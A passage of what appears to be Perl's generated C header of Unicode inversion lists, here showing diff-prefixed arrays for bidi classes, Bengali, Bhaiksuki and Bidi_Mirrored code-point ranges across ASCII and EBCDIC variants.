0x327C, - 0x327F, - 0x32B1, - 0x32C0, - 0x32CC, - 0x32D0, - 0x3377, - 0x337B, - 0x33DE, - 0x33E0, - 0x33FF, - 0x3400, - 0x4DC0, - 0x4E00, - 0xA490, - 0xA4C7, - 0xA60D, - 0xA610, - 0xA673, - 0xA674, - 0xA67E, - 0xA680, - 0xA700, - 0xA722, - 0xA788, - 0xA789, - 0xA828, - 0xA82C, - 0xA874, - 0xA878, - 0xFD3E, - 0xFD40, - 0xFDFD, - 0xFDFE, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE50, - 0xFE51, - 0xFE52, - 0xFE54, - 0xFE55, - 0xFE56, - 0xFE5F, - 0xFE60, - 0xFE62, - 0xFE64, - 0xFE67, - 0xFE68, - 0xFE69, - 0xFE6B, - 0xFE6C, - 0xFF01, - 0xFF03, - 0xFF06, - 0xFF0B, - 0xFF1B, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFFE2, - 0xFFE5, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0xFFFE, - 0x10101, - 0x10102, - 0x10140, - 0x1018D, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x1091F, - 0x10920, - 0x10B39, - 0x10B40, - 0x11052, - 0x11066, - 0x11660, - 0x1166D, - 0x1D200, - 0x1D242, - 0x1D245, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D6DB, - 0x1D6DC, - 0x1D715, - 0x1D716, - 0x1D74F, - 0x1D750, - 0x1D789, - 0x1D78A, - 0x1D7C3, - 0x1D7C4, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F10B, - 0x1F10D, - 0x1F16A, - 0x1F16C, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_BC__ON_invlist[] = { /* for EBCDIC 1047 */ - 363, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4C, - 0x4E, - 0x4F, - 0x51, - 0x5A, - 0x5B, - 0x5C, - 0x60, - 0x6A, - 0x6B, - 0x6D, - 0x70, - 0x79, - 0x7A, - 0x7C, - 0x80, - 0x8A, - 0x8C, - 0x9D, - 0x9E, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xB1, - 0xB3, - 0xBA, - 0xBB, - 0xC1, - 0xD0, - 0xD1, - 0xE0, - 0xE2, - 0x2B9, - 0x2BB, - 0x2C2, - 0x2D0, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EE, - 0x2EF, - 0x300, - 0x374, - 0x376, - 0x37E, - 0x37F, - 0x384, - 0x386, - 0x387, - 0x388, - 0x3F6, - 0x3F7, - 0x58A, - 0x58B, - 0x58D, - 0x58F, - 0x606, - 0x608, - 0x60E, - 0x610, - 0x6DE, - 0x6DF, - 0x6E9, - 0x6EA, - 0x7F6, - 0x7FA, - 0xBF3, - 0xBF9, - 0xBFA, - 0xBFB, - 0xC78, - 0xC7F, - 0xF3A, - 0xF3E, - 0x1390, - 0x139A, - 0x1400, - 0x1401, - 0x169B, - 0x169D, - 0x17F0, - 0x17FA, - 0x1800, - 0x180B, - 0x1940, - 0x1941, - 0x1944, - 0x1946, - 0x19DE, - 0x1A00, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FCD, - 0x1FD0, - 0x1FDD, - 0x1FE0, - 0x1FED, - 0x1FF0, - 0x1FFD, - 0x1FFF, - 0x2010, - 0x2028, - 0x2035, - 0x2044, - 0x2045, - 0x205F, - 0x207C, - 0x207F, - 0x208C, - 0x208F, - 0x2100, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x2150, - 0x2160, - 0x2189, - 0x218C, - 0x2190, - 0x2212, - 0x2214, - 0x2336, - 0x237B, - 0x2395, - 0x2396, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2488, - 0x24EA, - 0x26AC, - 0x26AD, - 0x2800, - 0x2900, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2CE5, - 0x2CEB, - 0x2CF9, - 0x2D00, - 0x2E00, - 0x2E4A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3001, - 0x3005, - 0x3008, - 0x3021, - 0x3030, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3040, - 0x309B, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x31C0, - 0x31E4, - 0x321D, - 0x321F, - 0x3250, - 0x3260, - 0x327C, - 0x327F, - 0x32B1, - 0x32C0, - 0x32CC, - 0x32D0, - 0x3377, - 0x337B, - 0x33DE, - 0x33E0, - 0x33FF, - 0x3400, - 0x4DC0, - 0x4E00, - 0xA490, - 0xA4C7, - 0xA60D, - 0xA610, - 0xA673, - 0xA674, - 0xA67E, - 0xA680, - 0xA700, - 0xA722, - 0xA788, - 0xA789, - 0xA828, - 0xA82C, - 0xA874, - 0xA878, - 0xFD3E, - 0xFD40, - 0xFDFD, - 0xFDFE, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE50, - 0xFE51, - 0xFE52, - 0xFE54, - 0xFE55, - 0xFE56, - 0xFE5F, - 0xFE60, - 0xFE62, - 0xFE64, - 0xFE67, - 0xFE68, - 0xFE69, - 0xFE6B, - 0xFE6C, - 0xFF01, - 0xFF03, - 0xFF06, - 0xFF0B, - 0xFF1B, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFFE2, - 0xFFE5, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0xFFFE, - 0x10101, - 0x10102, - 0x10140, - 0x1018D, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x1091F, - 0x10920, - 0x10B39, - 0x10B40, - 0x11052, - 0x11066, - 0x11660, - 0x1166D, - 0x1D200, - 0x1D242, - 0x1D245, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D6DB, - 0x1D6DC, - 0x1D715, - 0x1D716, - 0x1D74F, - 0x1D750, - 0x1D789, - 0x1D78A, - 0x1D7C3, - 0x1D7C4, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F10B, - 0x1F10D, - 0x1F16A, - 0x1F16C, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_BC__ON_invlist[] = { /* for EBCDIC 037 */ - 359, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4C, - 0x4E, - 0x4F, - 0x51, - 0x5A, - 0x5B, - 0x5C, - 0x60, - 0x6A, - 0x6B, - 0x6D, - 0x70, - 0x79, - 0x7A, - 0x7C, - 0x80, - 0x8A, - 0x8C, - 0x9D, - 0x9E, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAF, - 0xB1, - 0xB3, - 0xC1, - 0xD0, - 0xD1, - 0xE0, - 0xE2, - 0x2B9, - 0x2BB, - 0x2C2, - 0x2D0, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EE, - 0x2EF, - 0x300, - 0x374, - 0x376, - 0x37E, - 0x37F, - 0x384, - 0x386, - 0x387, - 0x388, - 0x3F6, - 0x3F7, - 0x58A, - 0x58B, - 0x58D, - 0x58F, - 0x606, - 0x608, - 0x60E, - 0x610, - 0x6DE, - 0x6DF, - 0x6E9, - 0x6EA, - 0x7F6, - 0x7FA, - 0xBF3, - 0xBF9, - 0xBFA, - 0xBFB, - 0xC78, - 0xC7F, - 0xF3A, - 0xF3E, - 0x1390, - 0x139A, - 0x1400, - 0x1401, - 0x169B, - 0x169D, - 0x17F0, - 0x17FA, - 0x1800, - 0x180B, - 0x1940, - 0x1941, - 0x1944, - 0x1946, - 0x19DE, - 0x1A00, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FCD, - 0x1FD0, - 0x1FDD, - 0x1FE0, - 0x1FED, - 0x1FF0, - 0x1FFD, - 0x1FFF, - 0x2010, - 0x2028, - 0x2035, - 0x2044, - 0x2045, - 0x205F, - 0x207C, - 0x207F, - 0x208C, - 0x208F, - 0x2100, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x2150, - 0x2160, - 0x2189, - 0x218C, - 0x2190, - 0x2212, - 0x2214, - 0x2336, - 0x237B, - 0x2395, - 0x2396, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2488, - 0x24EA, - 0x26AC, - 0x26AD, - 0x2800, - 0x2900, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2CE5, - 0x2CEB, - 0x2CF9, - 0x2D00, - 0x2E00, - 0x2E4A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3001, - 0x3005, - 0x3008, - 0x3021, - 0x3030, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3040, - 0x309B, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x31C0, - 0x31E4, - 0x321D, - 0x321F, - 0x3250, - 0x3260, - 0x327C, - 0x327F, - 0x32B1, - 0x32C0, - 0x32CC, - 0x32D0, - 0x3377, - 0x337B, - 0x33DE, - 0x33E0, - 0x33FF, - 0x3400, - 0x4DC0, - 0x4E00, - 0xA490, - 0xA4C7, - 0xA60D, - 0xA610, - 0xA673, - 0xA674, - 0xA67E, - 0xA680, - 0xA700, - 0xA722, - 0xA788, - 0xA789, - 0xA828, - 0xA82C, - 0xA874, - 0xA878, - 0xFD3E, - 0xFD40, - 0xFDFD, - 0xFDFE, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE50, - 0xFE51, - 0xFE52, - 0xFE54, - 0xFE55, - 0xFE56, - 0xFE5F, - 0xFE60, - 0xFE62, - 0xFE64, - 0xFE67, - 0xFE68, - 0xFE69, - 0xFE6B, - 0xFE6C, - 0xFF01, - 0xFF03, - 0xFF06, - 0xFF0B, - 0xFF1B, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFFE2, - 0xFFE5, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0xFFFE, - 0x10101, - 0x10102, - 0x10140, - 0x1018D, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x1091F, - 0x10920, - 0x10B39, - 0x10B40, - 0x11052, - 0x11066, - 0x11660, - 0x1166D, - 0x1D200, - 0x1D242, - 0x1D245, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D6DB, - 0x1D6DC, - 0x1D715, - 0x1D716, - 0x1D74F, - 0x1D750, - 0x1D789, - 0x1D78A, - 0x1D7C3, - 0x1D7C4, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F10B, - 0x1F10D, - 0x1F16A, - 0x1F16C, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_BC__PDF_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x202C, - 0x202D -}; - -static const UV PL_BC__PDI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2069, - 0x206A -}; - -static const UV PL_BC__R_invlist[] = { /* for all charsets */ - 67, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x590, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x600, - 0x7C0, - 0x7EB, - 0x7F4, - 0x7F6, - 0x7FA, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x859, - 0x85C, - 0x860, - 0x870, - 0x8A0, - 0x200F, - 0x2010, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB29, - 0xFB2A, - 0xFB50, - 0x10800, - 0x1091F, - 0x10920, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10AE5, - 0x10AE7, - 0x10B39, - 0x10B40, - 0x10E60, - 0x10E7F, - 0x11000, - 0x1E800, - 0x1E8D0, - 0x1E8D7, - 0x1E944, - 0x1E94B, - 0x1EE00, - 0x1EF00, - 0x1F000 -}; - -static const UV PL_BC__RLE_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x202B, - 0x202C -}; - -static const UV PL_BC__RLI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2067, - 0x2068 -}; - -static const UV PL_BC__RLO_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x202E, - 0x202F -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_BC__S_invlist[] = { /* for ASCII/Latin1 */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x9, - 0xA, - 0xB, - 0xC, - 0x1F, - 0x20 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_BC__S_invlist[] = { /* for EBCDIC 1047 */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5, - 0x6, - 0xB, - 0xC, - 0x1F, - 0x20 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_BC__S_invlist[] = { /* for EBCDIC 037 */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5, - 0x6, - 0xB, - 0xC, - 0x1F, - 0x20 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_BC__WS_invlist[] = { /* for ASCII/Latin1 */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xC, - 0xD, - 0x20, - 0x21, - 0x1680, - 0x1681, - 0x2000, - 0x200B, - 0x2028, - 0x2029, - 0x205F, - 0x2060, - 0x3000, - 0x3001 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_BC__WS_invlist[] = { /* for EBCDIC 1047 */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xC, - 0xD, - 0x40, - 0x41, - 0x1680, - 0x1681, - 0x2000, - 0x200B, - 0x2028, - 0x2029, - 0x205F, - 0x2060, - 0x3000, - 0x3001 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_BC__WS_invlist[] = { /* for EBCDIC 037 */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xC, - 0xD, - 0x40, - 0x41, - 0x1680, - 0x1681, - 0x2000, - 0x200B, - 0x2028, - 0x2029, - 0x205F, - 0x2060, - 0x3000, - 0x3001 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_BENG_invlist[] = { /* for all charsets */ - 37, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x951, - 0x953, - 0x964, - 0x966, - 0x980, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FE, - 0x1CF7, - 0x1CF8, - 0xA8F1, - 0xA8F2 -}; - -static const UV PL_BHKS_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C46, - 0x11C50, - 0x11C6D -}; - -static const UV PL_BIDIC_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x61C, - 0x61D, - 0x200E, - 0x2010, - 0x202A, - 0x202F, - 0x2066, - 0x206A -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_BIDIM_invlist[] = { /* for ASCII/Latin1 */ - 223, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x28, - 0x2A, - 0x3C, - 0x3D, - 0x3E, - 0x3F, - 0x5B, - 0x5C, - 0x5D, - 0x5E, - 0x7B, - 0x7C, - 0x7D, - 0x7E, - 0xAB, - 0xAC, - 0xBB, - 0xBC, - 0xF3A, - 0xF3E, - 0x169B, - 0x169D, - 0x2039, - 0x203B, - 0x2045, - 0x2047, - 0x207D, - 0x207F, - 0x208D, - 0x208F, - 0x2140, - 0x2141, - 0x2201, - 0x2205, - 0x2208, - 0x220E, - 0x2211, - 0x2212, - 0x2215, - 0x2217, - 0x221A, - 0x221E, - 0x221F, - 0x2223, - 0x2224, - 0x2225, - 0x2226, - 0x2227, - 0x222B, - 0x2234, - 0x2239, - 0x223A, - 0x223B, - 0x224D, - 0x2252, - 0x2256, - 0x225F, - 0x2261, - 0x2262, - 0x2263, - 0x2264, - 0x226C, - 0x226E, - 0x228D, - 0x228F, - 0x2293, - 0x2298, - 0x2299, - 0x22A2, - 0x22A4, - 0x22A6, - 0x22B9, - 0x22BE, - 0x22C0, - 0x22C9, - 0x22CE, - 0x22D0, - 0x22D2, - 0x22D6, - 0x22EE, - 0x22F0, - 0x2300, - 0x2308, - 0x230C, - 0x2320, - 0x2322, - 0x2329, - 0x232B, - 0x2768, - 0x2776, - 0x27C0, - 0x27C1, - 0x27C3, - 0x27C7, - 0x27C8, - 0x27CA, - 0x27CB, - 0x27CE, - 0x27D3, - 0x27D7, - 0x27DC, - 0x27DF, - 0x27E2, - 0x27F0, - 0x2983, - 0x2999, - 0x299B, - 0x29B0, - 0x29B8, - 0x29B9, - 0x29C0, - 0x29C6, - 0x29C9, - 0x29CA, - 0x29CE, - 0x29D3, - 0x29D4, - 0x29D6, - 0x29D8, - 0x29DD, - 0x29E1, - 0x29E2, - 0x29E3, - 0x29E6, - 0x29E8, - 0x29EA, - 0x29F4, - 0x29FA, - 0x29FC, - 0x29FE, - 0x2A0A, - 0x2A1D, - 0x2A1E, - 0x2A22, - 0x2A24, - 0x2A25, - 0x2A26, - 0x2A27, - 0x2A29, - 0x2A2A, - 0x2A2B, - 0x2A2F, - 0x2A34, - 0x2A36, - 0x2A3C, - 0x2A3F, - 0x2A57, - 0x2A59, - 0x2A64, - 0x2A66, - 0x2A6A, - 0x2A6E, - 0x2A6F, - 0x2A71, - 0x2A73, - 0x2A75, - 0x2A79, - 0x2AA4, - 0x2AA6, - 0x2AAE, - 0x2AAF, - 0x2AD7, - 0x2ADC, - 0x2ADD, - 0x2ADE, - 0x2ADF, - 0x2AE2, - 0x2AE7, - 0x2AEC, - 0x2AEF, - 0x2AF3, - 0x2AF4, - 0x2AF7, - 0x2AFC, - 0x2AFD, - 0x2AFE, - 0x2E02, - 0x2E06, - 0x2E09, - 0x2E0B, - 0x2E0C, - 0x2E0E, - 0x2E1C, - 0x2E1E, - 0x2E20, - 0x2E2A, - 0x3008, - 0x3012, - 0x3014, - 0x301C, - 0xFE59, - 0xFE5F, - 0xFE64, - 0xFE66, - 0xFF08, - 0xFF0A, - 0xFF1C, - 0xFF1D, - 0xFF1E, - 0xFF1F, - 0xFF3B, - 0xFF3C, - 0xFF3D, - 0xFF3E, - 0xFF5B, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFF61, - 0xFF62, - 0xFF64, - 0x1D6DB, - 0x1D6DC, - 0x1D715, - 0x1D716, - 0x1D74F, - 0x1D750, - 0x1D789, - 0x1D78A, - 0x1D7C3, - 0x1D7C4 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_BIDIM_invlist[] = { /* for EBCDIC 1047 */ - 221, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4C, - 0x4E, - 0x5D, - 0x5E, - 0x6E, - 0x6F, - 0x8A, - 0x8C, - 0xAD, - 0xAE, - 0xBD, - 0xBE, - 0xC0, - 0xC1, - 0xD0, - 0xD1, - 0xF3A, - 0xF3E, - 0x169B, - 0x169D, - 0x2039, - 0x203B, - 0x2045, - 0x2047, - 0x207D, - 0x207F, - 0x208D, - 0x208F, - 0x2140, - 0x2141, - 0x2201, - 0x2205, - 0x2208, - 0x220E, - 0x2211, - 0x2212, - 0x2215, - 0x2217, - 0x221A, - 0x221E, - 0x221F, - 0x2223, - 0x2224, - 0x2225, - 0x2226, - 0x2227, - 0x222B, - 0x2234, - 0x2239, - 0x223A, - 0x223B, - 0x224D, - 0x2252, - 0x2256, - 0x225F, - 0x2261, - 0x2262, - 0x2263, - 0x2264, - 0x226C, - 0x226E, - 0x228D, - 0x228F, - 0x2293, - 0x2298, - 0x2299, - 0x22A2, - 0x22A4, - 0x22A6, - 0x22B9, - 0x22BE, - 0x22C0, - 0x22C9, - 0x22CE, - 0x22D0, - 0x22D2, - 0x22D6, - 0x22EE, - 0x22F0, - 0x2300, - 0x2308, - 0x230C, - 0x2320, - 0x2322, - 0x2329, - 0x232B, - 0x2768, - 0x2776, - 0x27C0, - 0x27C1, - 0x27C3, - 0x27C7, - 0x27C8, - 0x27CA, - 0x27CB, - 0x27CE, - 0x27D3, - 0x27D7, - 0x27DC, - 0x27DF, - 0x27E2, - 0x27F0, - 0x2983, - 0x2999, - 0x299B, - 0x29B0, - 0x29B8, - 0x29B9, - 0x29C0, - 0x29C6, - 0x29C9, - 0x29CA, - 0x29CE, - 0x29D3, - 0x29D4, - 0x29D6, - 0x29D8, - 0x29DD, - 0x29E1, - 0x29E2, - 0x29E3, - 0x29E6, - 0x29E8, - 0x29EA, - 0x29F4, - 0x29FA, - 0x29FC, - 0x29FE, - 0x2A0A, - 0x2A1D, - 0x2A1E, - 0x2A22, - 0x2A24, - 0x2A25, - 0x2A26, - 0x2A27, - 0x2A29, - 0x2A2A, - 0x2A2B, - 0x2A2F, - 0x2A34, - 0x2A36, - 0x2A3C, - 0x2A3F, - 0x2A57, - 0x2A59, - 0x2A64, - 0x2A66, - 0x2A6A, - 0x2A6E, - 0x2A6F, - 0x2A71, - 0x2A73, - 0x2A75, - 0x2A79, - 0x2AA4, - 0x2AA6, - 0x2AAE, - 0x2AAF, - 0x2AD7, - 0x2ADC, - 0x2ADD, - 0x2ADE, - 0x2ADF, - 0x2AE2, - 0x2AE7, - 0x2AEC, - 0x2AEF, - 0x2AF3, - 0x2AF4, - 0x2AF7, - 0x2AFC, - 0x2AFD, - 0x2AFE, - 0x2E02, - 0x2E06, - 0x2E09, - 0x2E0B, - 0x2E0C, - 0x2E0E, - 0x2E1C, - 0x2E1E, - 0x2E20, - 0x2E2A, - 0x3008, - 0x3012, - 0x3014, - 0x301C, - 0xFE59, - 0xFE5F, - 0xFE64, - 0xFE66, - 0xFF08, - 0xFF0A, - 0xFF1C, - 0xFF1D, - 0xFF1E, - 0xFF1F, - 0xFF3B, - 0xFF3C, - 0xFF3D, - 0xFF3E, - 0xFF5B, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, 